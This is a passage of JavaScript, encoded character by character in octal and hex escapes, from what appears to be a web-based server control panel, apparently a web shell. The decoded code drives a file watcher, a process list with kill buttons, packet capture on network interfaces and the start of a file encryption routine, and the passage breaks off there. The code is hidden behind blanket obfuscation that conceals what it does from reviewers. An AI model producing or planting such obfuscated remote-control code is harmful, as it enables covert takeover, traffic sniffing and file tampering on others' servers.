\x2f\144\151\x76\76\xa\11\x9\11\140\x29\x2e\x6a\x6f\151\156\x28\x27\47\x29\73\12\x9\11\175\x2c\12\11\x9\xa\11\11\x2f\x2f\x20\x52\x65\141\x6c\x2d\x74\151\155\145\x20\106\151\x6c\145\40\x57\x61\x74\143\150\x65\162\xa\x9\x9\x77\141\x74\143\x68\145\162\x49\x6e\x74\x65\162\x76\x61\x6c\72\x20\156\165\154\x6c\54\12\x9\x9\167\x61\164\x63\150\x65\162\x53\x6e\141\x70\163\x68\x6f\164\106\x69\x6c\x65\72\40\x6e\165\154\154\x2c\12\x9\11\141\x73\171\156\x63\x20\x73\164\x61\162\164\x46\x69\x6c\145\127\141\164\143\x68\145\x72\50\51\40\173\xa\11\11\11\143\x6f\x6e\163\x74\40\160\x61\164\x68\40\75\40\x64\x6f\x63\x75\x6d\x65\156\x74\56\147\145\x74\x45\154\145\155\145\156\x74\x42\171\111\144\50\47\x77\x61\164\143\x68\x65\x72\x2d\x70\x61\164\150\47\51\x2e\166\x61\x6c\x75\145\40\x7c\x7c\x20\164\150\151\163\x2e\x63\167\x64\x3b\12\11\x9\11\x63\157\x6e\163\164\40\151\x6e\164\145\162\x76\141\154\40\75\40\160\x61\162\x73\x65\x49\x6e\x74\x28\x64\x6f\x63\165\155\x65\x6e\x74\56\x67\x65\x74\x45\x6c\x65\155\145\x6e\164\x42\x79\111\144\50\47\x77\141\x74\143\x68\x65\162\55\x69\x6e\164\145\x72\x76\x61\x6c\x27\51\x2e\x76\x61\x6c\165\145\51\40\x2a\x20\61\60\60\x30\x3b\xa\11\x9\11\x69\x66\x20\x28\41\160\x61\x74\150\x29\40\162\x65\x74\x75\x72\x6e\x20\x74\x68\151\163\x2e\164\x6f\x61\x73\164\50\47\x50\141\164\150\x20\151\x73\40\x72\x65\x71\165\x69\x72\x65\x64\x2e\x27\x2c\40\x27\145\162\162\x6f\162\x27\51\x3b\12\x9\x9\11\x63\x6f\x6e\x73\x74\40\x72\145\x73\x20\75\40\x61\x77\x61\x69\x74\40\x74\150\151\x73\x2e\x61\160\151\50\x27\x73\164\x61\x72\164\x5f\x66\151\x6c\145\x5f\167\141\x74\x63\150\145\x72\47\x2c\40\173\40\160\141\164\150\54\x20\x69\x6e\164\x65\162\x76\x61\154\x20\x7d\51\x3b\xa\x9\x9\11\151\x66\x20\x28\x72\145\163\40\46\x26\x20\x72\x65\x73\56\x73\x74\141\x74\x75\x73\x20\75\x3d\x3d\x20\47\163\x75\143\143\145\x73\x73\47\x29\x20\x7b\12\11\x9\11\x9\164\150\x69\x73\56\x77\141\164\x63\x68\145\x72\x53\156\141\x70\163\x68\x6f\x74\x46\x69\x6c\145\40\75\40\162\145\x73\x2e\x73\156\141\160\163\x68\157\164\137\x66\151\154\x65\73\xa\11\x9\x9\x9\144\x6f\x63\165\155\x65\156\164\x2e\147\x65\164\105\x6c\x65\155\145\x6e\x74\102\x79\111\x64\50\x27\x73\164\x61\162\x74\x2d\x77\x61\x74\143\150\145\162\x2d\142\x74\156\x27\x29\x2e\x73\x74\171\x6c\145\56\144\151\163\160\154\141\171\40\x3d\x20\47\x6e\157\156\x65\47\x3b\xa\x9\11\11\x9\144\157\143\x75\x6d\x65\x6e\x74\x2e\147\x65\164\x45\x6c\x65\x6d\x65\x6e\164\102\x79\111\x64\50\x27\163\x74\157\160\x2d\167\141\x74\143\150\x65\162\55\142\164\x6e\x27\51\x2e\163\x74\x79\154\x65\x2e\144\x69\x73\x70\x6c\141\x79\40\x3d\x20\x27\151\x6e\x6c\151\156\145\55\x62\154\157\143\153\47\73\xa\x9\11\11\x9\144\x6f\x63\x75\x6d\x65\156\164\x2e\x67\x65\x74\x45\x6c\145\155\145\x6e\164\x42\x79\x49\x64\50\x27\x77\141\x74\143\150\x65\x72\x2d\x73\164\141\x74\165\163\x27\x29\x2e\x73\164\x79\154\x65\56\144\x69\163\x70\x6c\x61\x79\40\75\40\x27\x62\154\157\143\153\x27\73\xa\x9\x9\11\x9\x64\x6f\x63\x75\155\145\x6e\164\x2e\147\x65\164\105\154\145\x6d\x65\156\x74\102\171\x49\144\50\x27\x77\141\164\x63\150\145\162\x2d\163\x74\141\164\x75\x73\x27\x29\x2e\151\156\156\x65\x72\x48\x54\115\114\x20\75\x20\x60\x3c\163\160\141\156\x20\163\164\x79\x6c\145\x3d\42\143\157\x6c\157\162\x3a\x76\x61\x72\50\x2d\x2d\x61\143\x63\x65\x6e\164\55\x67\x72\x65\x65\x6e\x29\73\x22\x3e\342\227\x8f\x3c\x2f\x73\x70\141\156\x3e\x20\127\141\x74\x63\x68\151\156\x67\72\x20\x24\x7b\160\x61\x74\x68\x7d\40\x28\x63\x68\145\143\153\151\x6e\x67\x20\145\166\145\162\x79\x20\44\x7b\x69\x6e\164\x65\162\166\141\154\x2f\61\60\x30\60\x7d\163\51\140\73\xa\11\x9\11\x9\164\150\x69\163\56\167\x61\x74\143\150\145\x72\x49\156\x74\145\x72\x76\141\x6c\40\75\x20\163\x65\x74\x49\x6e\x74\x65\162\166\x61\154\x28\x28\x29\40\75\76\40\164\150\x69\x73\x2e\x63\150\145\143\153\106\151\x6c\x65\x43\x68\x61\156\x67\x65\163\50\160\141\x74\150\51\x2c\40\151\156\x74\x65\162\x76\141\x6c\x29\73\xa\11\x9\11\x9\x74\150\151\163\x2e\141\x64\x64\x4e\157\164\x69\x66\x69\143\x61\164\151\x6f\x6e\50\47\x46\x69\154\145\40\x57\x61\164\143\x68\145\x72\x27\54\40\140\123\164\x61\x72\164\x65\x64\40\167\x61\x74\143\150\151\156\x67\x20\x24\173\x70\x61\x74\x68\175\x60\54\40\47\x73\165\143\x63\145\x73\163\47\x29\x3b\12\x9\x9\11\x7d\x20\x65\x6c\x73\x65\x20\173\xa\11\11\x9\11\164\150\x69\163\x2e\x74\x6f\x61\163\164\x28\162\x65\x73\77\56\155\145\x73\163\141\147\145\40\174\x7c\40\x27\106\141\x69\154\x65\144\40\x74\157\40\163\164\x61\162\164\x20\x77\141\x74\143\150\145\162\56\x27\x2c\x20\47\145\x72\162\157\x72\47\51\x3b\xa\x9\x9\x9\175\12\11\11\175\x2c\12\11\11\x73\x74\157\x70\106\x69\154\145\127\141\164\143\x68\x65\162\50\51\x20\173\12\11\11\x9\151\x66\40\50\164\x68\151\x73\56\167\141\x74\143\x68\145\x72\x49\x6e\x74\x65\x72\166\x61\154\51\x20\173\12\x9\x9\11\x9\143\154\x65\x61\162\111\156\164\145\162\166\x61\154\x28\164\x68\151\163\x2e\167\x61\164\143\x68\145\x72\111\x6e\164\x65\162\166\141\x6c\x29\73\12\x9\x9\11\x9\164\150\x69\163\x2e\167\x61\164\x63\x68\x65\x72\111\156\164\x65\162\x76\141\x6c\40\75\x20\156\165\x6c\x6c\x3b\xa\x9\11\x9\175\xa\x9\x9\11\x64\x6f\143\165\x6d\x65\x6e\x74\56\x67\145\x74\x45\x6c\145\x6d\x65\x6e\x74\x42\171\x49\x64\50\47\x73\x74\x61\x72\164\55\x77\141\164\x63\150\x65\162\55\142\x74\x6e\x27\51\56\x73\164\x79\x6c\145\56\144\151\163\x70\154\141\x79\x20\x3d\x20\x27\x69\156\154\151\156\145\x2d\142\x6c\x6f\x63\153\47\73\xa\11\x9\x9\144\x6f\143\x75\x6d\x65\x6e\x74\56\147\145\164\x45\x6c\x65\155\145\156\x74\x42\x79\111\x64\50\x27\163\164\157\160\x2d\167\x61\164\143\150\x65\162\x2d\x62\164\156\x27\51\x2e\x73\x74\x79\x6c\145\56\144\151\x73\x70\x6c\141\171\40\x3d\40\47\156\157\156\145\x27\x3b\12\11\11\11\144\157\x63\x75\x6d\145\x6e\x74\56\x67\x65\x74\105\x6c\145\155\145\x6e\164\102\171\x49\x64\50\47\167\x61\x74\143\x68\x65\162\55\x73\164\141\x74\x75\163\47\x29\x2e\163\164\x79\x6c\145\x2e\x64\151\163\x70\x6c\141\171\40\75\40\47\156\157\x6e\x65\47\x3b\xa\11\x9\x9\164\x68\x69\163\56\x61\144\x64\x4e\x6f\x74\151\x66\151\x63\x61\164\151\157\156\x28\47\106\151\154\x65\40\127\141\164\143\x68\145\x72\x27\54\x20\x27\x53\x74\x6f\160\x70\145\x64\40\x77\x61\164\143\150\x69\156\x67\47\x2c\40\x27\151\x6e\x66\x6f\47\51\73\xa\11\x9\x7d\54\12\11\11\141\163\x79\x6e\143\x20\x63\x68\x65\x63\153\x46\x69\x6c\145\103\150\x61\156\147\x65\163\50\160\141\164\x68\x29\x20\173\xa\x9\x9\11\x69\x66\x20\x28\x21\164\x68\x69\x73\56\167\x61\164\143\150\x65\162\x53\156\x61\160\163\x68\157\x74\106\151\154\145\x29\x20\x72\x65\x74\x75\x72\156\73\12\x9\x9\x9\x63\157\x6e\x73\x74\40\162\145\163\x20\x3d\x20\141\x77\141\151\x74\40\164\150\x69\163\56\141\x70\x69\50\x27\143\150\145\143\153\x5f\146\151\x6c\x65\137\143\150\141\156\x67\145\x73\47\54\40\x7b\40\x70\141\x74\150\54\40\x73\156\x61\160\x73\150\x6f\x74\x5f\x66\x69\x6c\145\x3a\40\164\x68\x69\x73\56\x77\x61\x74\x63\x68\x65\162\x53\156\x61\160\x73\150\157\164\106\151\x6c\145\40\175\51\73\12\x9\x9\x9\x69\146\40\50\x72\145\163\x20\x26\x26\x20\x72\145\x73\56\163\164\141\164\x75\x73\40\x3d\x3d\75\40\x27\163\x75\x63\143\x65\x73\163\x27\x29\x20\173\xa\11\11\11\x9\143\x6f\156\163\164\x20\143\x68\x61\156\x67\x65\x73\x20\75\x20\x72\x65\163\56\x63\150\141\x6e\x67\x65\163\73\xa\x9\x9\11\x9\x6c\x65\164\40\157\165\164\160\165\164\x20\75\x20\x64\x6f\x63\165\x6d\x65\x6e\x74\x2e\x67\145\x74\105\154\x65\x6d\145\x6e\x74\102\171\111\x64\50\x27\167\141\164\143\150\x65\x72\55\x6f\x75\164\160\165\164\x27\51\56\x69\156\156\x65\162\124\x65\x78\164\x3b\xa\11\11\x9\11\x63\157\156\163\164\40\156\157\167\40\x3d\40\156\145\167\x20\x44\x61\164\145\50\51\x2e\x74\x6f\x4c\157\x63\141\x6c\145\x54\x69\155\x65\123\164\162\x69\156\147\50\51\x3b\12\x9\x9\x9\11\x69\x66\x20\50\117\x62\x6a\x65\143\x74\x2e\153\x65\x79\163\x28\x63\150\x61\156\x67\145\x73\56\143\x72\145\x61\x74\x65\144\51\56\x6c\145\x6e\147\x74\x68\x20\76\40\x30\x29\x20\x7b\xa\x9\x9\11\11\x9\157\x75\164\160\165\x74\40\53\75\x20\140\x5c\x6e\x5b\44\x7b\x6e\157\x77\175\135\x20\x43\122\x45\x41\124\105\x44\x3a\134\x6e\44\173\x4f\142\x6a\145\143\x74\56\x6b\145\171\x73\50\x63\150\x61\x6e\147\x65\163\x2e\143\162\145\x61\164\145\144\x29\x2e\x6a\157\x69\x6e\50\x27\x5c\156\x27\x29\175\x5c\x6e\x60\x3b\xa\x9\x9\11\x9\x9\164\150\x69\163\x2e\141\144\144\x4e\x6f\x74\151\146\x69\143\x61\x74\151\x6f\156\50\47\106\151\x6c\145\x20\x57\x61\x74\x63\x68\145\162\47\x2c\x20\140\x24\x7b\117\142\x6a\x65\x63\x74\x2e\153\145\x79\163\x28\143\150\141\x6e\147\145\x73\56\x63\x72\145\x61\x74\145\x64\51\x2e\154\145\x6e\x67\x74\x68\x7d\40\146\151\x6c\x65\50\x73\51\x20\143\162\145\141\164\145\x64\x60\x2c\x20\x27\x69\156\x66\x6f\x27\x29\x3b\xa\x9\11\11\11\175\12\x9\x9\11\11\151\x66\x20\50\x4f\x62\152\145\x63\x74\56\153\145\171\x73\50\143\150\x61\156\147\x65\x73\x2e\x64\145\x6c\145\164\x65\144\51\56\x6c\x65\x6e\147\x74\150\x20\76\x20\x30\51\40\173\xa\x9\11\x9\11\x9\x6f\x75\164\160\x75\164\40\x2b\75\40\140\x5c\x6e\x5b\44\173\x6e\x6f\x77\x7d\135\40\x44\105\x4c\105\x54\105\x44\72\x5c\x6e\x24\x7b\117\x62\x6a\145\143\164\x2e\x6b\145\171\x73\x28\x63\150\x61\156\x67\145\x73\56\x64\x65\x6c\145\164\145\x64\51\56\152\157\x69\156\x28\47\x5c\x6e\47\x29\x7d\134\156\x60\x3b\xa\11\x9\x9\11\x9\x74\x68\x69\163\56\141\144\x64\116\157\x74\151\x66\151\143\141\164\x69\x6f\x6e\50\x27\106\151\x6c\145\40\x57\141\164\x63\150\x65\x72\47\x2c\40\140\44\173\x4f\x62\152\145\x63\164\56\153\145\171\163\50\x63\150\141\x6e\x67\x65\163\x2e\x64\x65\154\145\164\145\x64\x29\56\154\145\156\x67\x74\150\175\x20\x66\151\x6c\x65\x28\163\51\x20\x64\145\154\x65\x74\145\144\x60\54\x20\x27\167\141\x72\156\x69\x6e\x67\x27\51\x3b\12\x9\x9\x9\11\x7d\xa\11\11\11\11\x69\146\x20\50\117\x62\152\145\143\164\x2e\x6b\x65\171\163\x28\x63\150\141\156\147\x65\x73\56\155\157\x64\x69\x66\151\x65\x64\51\56\154\x65\x6e\x67\164\150\x20\x3e\x20\x30\x29\40\173\12\x9\x9\11\11\x9\x6f\165\x74\x70\x75\164\x20\x2b\75\40\x60\134\x6e\133\x24\x7b\x6e\x6f\x77\175\x5d\40\115\x4f\104\x49\106\111\105\104\x3a\x5c\x6e\44\173\117\x62\152\x65\143\164\56\153\145\x79\x73\x28\143\150\x61\x6e\147\x65\163\x2e\155\x6f\144\x69\146\x69\145\144\x29\x2e\152\x6f\x69\156\50\47\134\156\47\x29\175\134\x6e\x60\x3b\xa\11\x9\11\x9\x9\x74\x68\151\x73\56\x61\x64\x64\116\x6f\x74\151\146\151\x63\x61\164\x69\157\156\50\x27\x46\x69\x6c\145\40\x57\141\164\x63\150\x65\x72\47\54\40\140\x24\x7b\117\142\x6a\145\143\x74\56\x6b\145\171\x73\x28\x63\150\141\156\x67\145\163\x2e\155\x6f\144\151\146\151\x65\x64\x29\56\154\x65\x6e\147\164\x68\x7d\x20\146\151\154\x65\50\x73\51\x20\x6d\x6f\x64\x69\x66\151\145\144\x60\x2c\x20\47\x69\156\146\157\47\51\x3b\12\x9\11\x9\x9\x7d\12\x9\x9\11\11\x64\x6f\143\165\155\x65\156\164\x2e\147\145\x74\x45\154\145\155\x65\x6e\164\102\171\x49\144\50\x27\x77\x61\x74\143\150\145\x72\55\x6f\165\x74\x70\x75\x74\x27\x29\x2e\x69\x6e\x6e\x65\x72\x54\x65\170\164\40\x3d\40\x6f\165\x74\160\165\164\x3b\xa\11\x9\11\x9\144\x6f\143\x75\x6d\145\x6e\x74\56\x67\145\164\105\x6c\145\x6d\x65\x6e\x74\102\x79\111\144\x28\47\167\x61\164\x63\x68\145\162\x2d\157\165\x74\160\x75\164\47\51\x2e\163\143\x72\157\154\154\124\157\160\40\x3d\40\144\157\x63\x75\155\145\x6e\164\56\147\145\x74\x45\x6c\145\155\145\x6e\x74\102\171\111\144\50\x27\x77\141\x74\x63\x68\x65\x72\x2d\x6f\165\x74\x70\x75\164\x27\x29\x2e\163\143\162\x6f\x6c\x6c\x48\x65\151\x67\150\x74\73\12\11\x9\x9\175\xa\x9\11\x7d\x2c\xa\11\11\12\x9\x9\x2f\57\40\120\x72\x6f\x63\145\x73\x73\40\x4d\141\x6e\141\x67\145\x72\12\11\11\x70\x72\157\x63\x65\x73\163\x52\x65\146\162\x65\163\x68\111\x6e\164\x65\162\166\141\x6c\x3a\x20\x6e\165\154\x6c\x2c\xa\11\x9\141\x73\171\156\x63\x20\x72\145\x66\x72\145\163\150\120\162\x6f\143\145\163\x73\145\x73\50\x29\x20\x7b\xa\x9\x9\11\143\x6f\x6e\163\x74\40\162\x65\163\40\x3d\x20\141\167\141\151\164\x20\x74\x68\151\163\x2e\141\160\151\50\x27\147\145\x74\137\x70\x72\157\x63\x65\x73\x73\145\x73\x27\x29\73\xa\x9\11\x9\x69\146\x20\x28\x72\145\x73\40\46\x26\x20\162\145\x73\x2e\163\164\141\x74\165\x73\x20\x3d\x3d\75\40\x27\x73\x75\x63\x63\x65\163\x73\x27\x29\x20\x7b\xa\x9\11\x9\11\143\x6f\x6e\163\x74\x20\x74\x62\x6f\x64\x79\x20\75\x20\144\x6f\143\165\155\145\x6e\x74\x2e\147\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\102\x79\111\144\50\47\x70\x72\x6f\143\145\x73\x73\x65\163\55\x6c\x69\x73\164\x27\51\x3b\xa\11\11\11\11\x74\x62\157\144\171\x2e\151\156\156\145\162\110\124\x4d\x4c\40\75\40\x72\x65\x73\x2e\x70\162\x6f\143\145\x73\163\x65\x73\x2e\x6d\141\160\x28\160\40\75\x3e\40\x60\xa\x9\x9\11\11\x9\74\164\x72\x3e\12\11\11\x9\11\x9\x9\x3c\164\144\x3e\44\173\160\x2e\x70\x69\x64\x20\174\174\40\x70\56\120\111\x44\x20\x7c\174\x20\x27\116\x2f\x41\x27\x7d\x3c\x2f\x74\144\76\xa\11\x9\x9\x9\11\x9\74\x74\x64\x3e\x24\173\160\56\x75\163\x65\x72\40\x7c\174\x20\160\x2e\125\123\105\x52\40\x7c\174\x20\x27\x4e\57\x41\47\x7d\x3c\x2f\x74\144\76\12\x9\x9\x9\x9\11\x9\74\x74\144\x3e\44\x7b\160\56\x63\x70\x75\40\174\174\40\x70\133\47\x25\x43\x50\x55\x27\135\x20\174\x7c\40\x27\x4e\x2f\x41\47\175\x3c\57\164\x64\x3e\12\11\x9\x9\11\11\x9\x3c\164\x64\x3e\44\x7b\x70\x2e\x6d\145\x6d\40\x7c\x7c\x20\160\133\47\x25\x4d\x45\115\x27\135\x20\x7c\x7c\x20\x70\x2e\x6d\145\155\40\174\174\x20\47\116\57\101\x27\175\74\x2f\164\x64\76\12\11\x9\x9\x9\11\11\74\164\x64\x20\163\164\x79\154\145\75\x22\155\x61\x78\55\167\x69\x64\164\150\72\x33\60\60\160\x78\73\40\157\x76\145\x72\146\154\157\167\72\x68\x69\144\144\145\x6e\x3b\x20\x74\x65\x78\164\55\157\166\x65\162\146\x6c\157\167\x3a\145\x6c\x6c\151\160\163\151\163\73\42\76\44\173\x28\160\x2e\x63\x6f\x6d\x6d\141\x6e\144\40\174\x7c\40\160\x2e\103\117\x4d\x4d\x41\x4e\x44\x20\174\174\x20\160\x2e\x4e\101\115\x45\x20\174\x7c\x20\47\x4e\x2f\x41\x27\51\56\163\165\142\163\164\x72\x69\x6e\147\x28\x30\54\40\x35\x30\x29\x7d\x3c\x2f\164\144\76\xa\11\x9\11\x9\x9\x9\x3c\x74\144\x3e\74\142\x75\x74\164\x6f\156\40\157\156\143\x6c\x69\143\153\75\x22\x41\160\x70\56\153\x69\x6c\x6c\120\162\x6f\x63\x65\x73\x73\x28\x24\x7b\160\56\160\151\144\x20\174\x7c\40\x70\56\x50\111\104\175\x29\x22\x20\143\154\x61\x73\x73\x3d\42\x64\141\x6e\x67\x65\x72\x2d\142\164\156\42\x20\x73\x74\171\x6c\145\75\x22\x70\x61\x64\x64\151\x6e\x67\72\64\160\170\40\x38\160\170\x3b\40\x66\157\x6e\164\55\163\151\172\x65\x3a\x31\62\160\170\73\42\x3e\x4b\151\x6c\154\74\x2f\x62\x75\164\x74\x6f\156\76\74\x2f\164\144\76\12\11\11\x9\11\x9\74\57\164\162\x3e\xa\x9\x9\x9\11\140\51\56\x6a\x6f\x69\156\x28\47\x27\51\73\xa\x9\11\x9\x7d\xa\11\11\x7d\x2c\xa\x9\11\164\157\147\x67\154\145\x41\165\x74\x6f\x52\x65\x66\x72\145\163\150\120\x72\x6f\x63\145\x73\x73\x65\163\50\x29\x20\x7b\xa\x9\x9\11\151\x66\40\50\x74\150\151\163\56\160\162\x6f\x63\145\163\x73\122\x65\x66\162\x65\163\x68\111\156\x74\x65\162\166\x61\x6c\51\40\173\12\11\x9\x9\x9\143\154\145\141\162\x49\156\x74\x65\162\166\x61\154\50\x74\150\151\163\56\160\x72\x6f\x63\x65\x73\x73\x52\x65\x66\x72\x65\x73\150\x49\x6e\x74\x65\162\166\x61\x6c\x29\73\xa\x9\11\x9\11\164\x68\151\x73\x2e\x70\162\x6f\x63\x65\x73\x73\122\x65\x66\162\x65\163\x68\111\x6e\164\145\162\166\x61\x6c\40\75\x20\x6e\165\154\154\x3b\xa\11\x9\x9\11\x64\x6f\143\x75\155\x65\x6e\164\x2e\147\145\164\x45\154\x65\x6d\145\x6e\164\x42\171\111\x64\x28\x27\x61\x75\x74\157\55\x72\x65\146\x72\145\x73\x68\55\160\162\157\143\145\163\163\145\163\x2d\x62\164\156\x27\51\x2e\x74\145\x78\x74\103\x6f\156\164\x65\156\164\x20\x3d\x20\47\xe2\217\xb1\xef\xb8\x8f\x20\101\x75\x74\157\40\122\145\x66\162\145\x73\150\x20\x28\x35\163\51\x27\73\xa\x9\11\11\175\40\145\x6c\x73\x65\40\173\xa\11\11\x9\11\164\150\x69\163\56\160\x72\157\x63\145\x73\x73\x52\x65\146\162\x65\x73\x68\111\x6e\164\x65\162\166\141\154\x20\75\40\163\145\x74\111\x6e\x74\x65\162\166\141\154\x28\50\51\40\x3d\x3e\x20\164\150\151\x73\x2e\162\145\x66\162\x65\163\x68\x50\162\157\143\145\163\163\145\x73\x28\51\54\x20\65\60\x30\60\x29\73\12\11\x9\x9\x9\x64\x6f\143\165\155\145\156\164\x2e\147\145\x74\105\154\145\x6d\x65\156\x74\102\x79\111\x64\50\47\141\165\164\157\x2d\162\x65\x66\162\x65\163\x68\55\160\x72\x6f\143\145\163\x73\145\163\55\x62\164\x6e\x27\x29\x2e\x74\145\170\x74\103\157\156\164\x65\x6e\x74\40\x3d\x20\x27\xe2\x8f\270\357\270\217\40\123\x74\x6f\160\x20\101\165\x74\x6f\x20\122\x65\x66\x72\145\x73\x68\x27\x3b\12\11\11\x9\11\x74\x68\x69\163\56\162\x65\146\x72\x65\163\x68\x50\x72\x6f\143\145\x73\x73\145\163\x28\51\x3b\xa\x9\x9\11\x7d\12\x9\11\175\54\xa\11\11\141\x73\171\156\143\40\153\151\154\154\x50\162\x6f\143\145\163\x73\x28\x70\151\x64\51\40\x7b\xa\x9\x9\11\x63\157\156\163\x74\40\x63\x6f\156\x66\151\x72\155\145\144\x20\75\x20\141\167\x61\x69\x74\x20\x74\150\x69\163\x2e\163\x68\157\x77\x43\x6f\x6e\x66\151\x72\x6d\115\x6f\144\141\154\x28\x60\x4b\151\x6c\x6c\x20\160\x72\157\143\x65\x73\x73\40\x3c\x73\164\162\157\156\x67\x3e\x24\x7b\160\x69\144\x7d\74\57\x73\x74\162\x6f\x6e\147\x3e\x3f\x60\54\x20\x7b\40\164\x79\x70\x65\x3a\40\47\144\141\x6e\x67\145\162\x27\x2c\40\x6f\153\124\x65\170\x74\72\40\47\x4b\151\154\154\47\54\x20\x63\x61\156\x63\x65\154\x54\x65\170\x74\72\x20\47\x43\141\x6e\143\x65\154\47\40\x7d\51\73\40\151\146\40\x28\41\x63\x6f\x6e\146\x69\x72\x6d\145\x64\x29\x20\162\145\164\165\x72\x6e\73\xa\x9\11\11\x63\157\x6e\x73\164\x20\x72\145\x73\x20\75\40\141\167\141\x69\164\40\x74\150\151\x73\x2e\x61\160\x69\x28\47\153\x69\x6c\x6c\137\x70\162\x6f\x63\145\163\x73\x27\x2c\x20\x7b\x20\x70\151\x64\40\175\x29\x3b\12\x9\11\11\151\146\40\x28\x72\145\163\40\46\x26\x20\x72\x65\x73\x2e\x73\164\141\164\165\163\x20\x3d\x3d\x3d\x20\x27\163\x75\x63\x63\145\x73\x73\47\51\x20\173\12\11\11\11\11\x74\150\151\163\x2e\164\x6f\x61\x73\x74\x28\140\120\x72\157\x63\145\x73\x73\40\44\173\x70\x69\x64\x7d\x20\153\151\x6c\x6c\145\x64\x2e\x60\x29\x3b\xa\11\11\x9\x9\x74\150\x69\x73\56\141\x64\144\x4e\157\x74\x69\x66\151\x63\x61\x74\x69\x6f\x6e\50\x27\120\x72\157\143\x65\163\x73\40\x4d\141\156\x61\x67\x65\162\x27\54\x20\x60\120\x72\x6f\x63\x65\x73\163\40\44\x7b\160\x69\x64\175\x20\x74\x65\x72\155\x69\156\141\164\x65\144\140\54\40\x27\x77\x61\162\156\151\156\x67\47\x29\x3b\xa\11\x9\x9\11\x74\150\151\x73\x2e\162\x65\146\x72\x65\x73\x68\120\x72\x6f\143\145\163\163\145\163\x28\51\73\xa\11\x9\11\x7d\x20\145\x6c\163\x65\x20\x7b\12\11\11\11\x9\164\150\x69\x73\56\x74\157\x61\163\164\x28\x27\x46\141\x69\154\x65\144\40\164\x6f\40\153\x69\x6c\x6c\40\160\x72\x6f\x63\x65\163\x73\x2e\x27\x2c\x20\47\145\162\x72\157\162\x27\51\73\12\11\11\11\175\12\11\x9\175\x2c\12\11\11\xa\x9\x9\x2f\x2f\40\x50\141\143\153\x65\x74\x20\103\x61\x70\164\165\x72\x65\xa\11\11\x61\163\171\x6e\x63\x20\163\164\x61\x72\164\x50\x61\143\153\x65\x74\x43\x61\160\164\x75\162\145\x28\x29\40\173\12\11\x9\11\143\157\156\x73\164\x20\151\156\x74\x65\x72\x66\x61\x63\x65\x20\75\40\144\157\x63\x75\155\x65\156\164\56\x67\145\x74\105\154\145\x6d\145\x6e\164\x42\171\111\144\50\x27\x63\x61\x70\164\x75\162\x65\55\x69\x6e\x74\x65\x72\146\141\x63\145\47\51\56\166\141\154\165\145\40\174\x7c\x20\x27\x61\x6e\171\47\x3b\12\11\x9\x9\x63\157\x6e\163\x74\40\x63\x6f\165\156\164\x20\x3d\x20\160\x61\x72\163\145\x49\x6e\164\50\x64\x6f\143\x75\155\x65\x6e\x74\x2e\x67\145\x74\x45\x6c\145\155\x65\x6e\164\x42\x79\111\x64\50\47\x63\x61\160\164\x75\162\145\55\143\157\x75\156\x74\47\51\56\166\141\154\x75\x65\x29\x20\174\x7c\x20\x35\60\x3b\12\11\11\11\143\157\156\163\x74\x20\146\151\154\164\x65\162\40\x3d\x20\144\157\143\x75\x6d\145\156\x74\x2e\147\145\164\x45\x6c\x65\x6d\145\x6e\164\x42\x79\x49\x64\50\x27\143\141\x70\164\x75\162\145\55\146\151\x6c\164\145\162\47\x29\x2e\166\x61\154\x75\145\73\12\x9\11\11\x63\x6f\x6e\163\x74\40\x6f\165\x74\x70\x75\x74\105\154\40\75\40\144\x6f\143\x75\x6d\145\156\x74\x2e\147\x65\x74\105\x6c\x65\155\145\156\164\x42\x79\111\x64\50\x27\143\x61\160\x74\165\162\145\x2d\157\165\164\x70\165\x74\x27\x29\x3b\xa\11\11\11\x6f\165\x74\160\x75\164\105\x6c\x2e\x69\x6e\156\x65\x72\124\x65\x78\164\40\75\40\x27\x53\164\x61\x72\164\x69\156\147\x20\x63\x61\160\164\165\162\145\x2e\56\x2e\47\73\xa\x9\x9\11\x63\x6f\156\x73\164\40\x72\x65\x73\x20\75\40\141\x77\141\x69\x74\x20\x74\150\151\163\x2e\141\x70\151\x28\47\x73\164\141\x72\x74\137\x70\141\143\x6b\145\x74\137\x63\141\x70\164\165\x72\x65\47\54\40\x7b\x20\x69\156\164\145\162\146\141\x63\145\x2c\40\x63\157\165\x6e\164\54\x20\x66\x69\154\x74\x65\x72\40\175\51\x3b\12\11\x9\11\151\x66\40\x28\162\x65\x73\40\46\x26\x20\162\145\163\56\x73\x74\141\164\x75\x73\40\x3d\75\x3d\40\x27\x73\x75\143\x63\x65\x73\163\47\51\40\x7b\xa\11\x9\x9\11\157\165\164\x70\165\x74\x45\x6c\x2e\x69\156\156\145\162\x54\145\x78\x74\x20\75\40\x72\145\163\x2e\x6f\165\164\x70\165\164\x20\x7c\174\x20\47\103\x61\160\164\x75\162\145\x20\143\157\x6d\x70\x6c\145\164\145\144\x2e\x27\x3b\12\11\x9\11\11\164\150\151\x73\x2e\141\x64\144\116\x6f\164\151\146\151\143\141\164\x69\x6f\156\50\47\x50\x61\143\153\145\x74\40\x43\141\160\x74\x75\x72\x65\x27\x2c\x20\x60\103\141\x70\164\165\x72\x65\x64\x20\44\173\143\x6f\x75\x6e\164\175\x20\x70\x61\143\x6b\x65\x74\x73\140\x2c\40\x27\163\165\143\x63\145\163\x73\x27\x29\73\xa\x9\x9\x9\x7d\x20\145\154\x73\x65\x20\173\xa\11\11\11\11\157\x75\164\x70\x75\x74\105\x6c\56\151\156\x6e\x65\162\124\x65\170\x74\40\x3d\x20\162\145\163\x3f\56\x6d\145\163\x73\141\147\x65\x20\174\174\40\x27\103\141\160\164\165\x72\x65\x20\x66\x61\x69\x6c\145\x64\56\x27\73\12\11\11\x9\11\x74\150\151\x73\56\x74\157\141\x73\164\50\162\x65\163\77\56\155\x65\x73\163\x61\x67\x65\x20\174\x7c\x20\x27\x43\x61\x70\164\x75\x72\x65\40\x66\141\151\154\145\x64\56\47\54\x20\47\145\x72\162\x6f\162\47\51\x3b\xa\x9\x9\11\175\xa\x9\x9\175\x2c\12\x9\11\12\11\11\57\57\40\106\x69\x6c\145\x20\105\156\x63\162\x79\160\164\151\x6f\x6e\57\104\145\x63\162\x79\160\164\151\157\x6e\xa\11\x9\141\x73\x79\x6e\143\40\x65\156\143\x72\171\x70\164\x46\151\154\145\x28\x29\40\x7b\12\11\x9\11\x63\x6f\x6e\x73\x74\40\146\x69\154\x65\x50\141\x74\x68\40\x3d\x20\x64\x6f\x63\165\x6d\145\x6e\164\x2e\x67\145\164\105\x6c\x65\155\x65\x6e\164\102\x79\111\x64\50\x27\x63\162\171\x70\164\157\x2d\x66\151\154\145\x2d\160\141\x74\x68\47\51\x2e\x76\141\154\x75\x65\x3b\12\x9\x9\11\143\157\x6e\x73\x74\x20\x70\x61\163\163\x77\157\162\14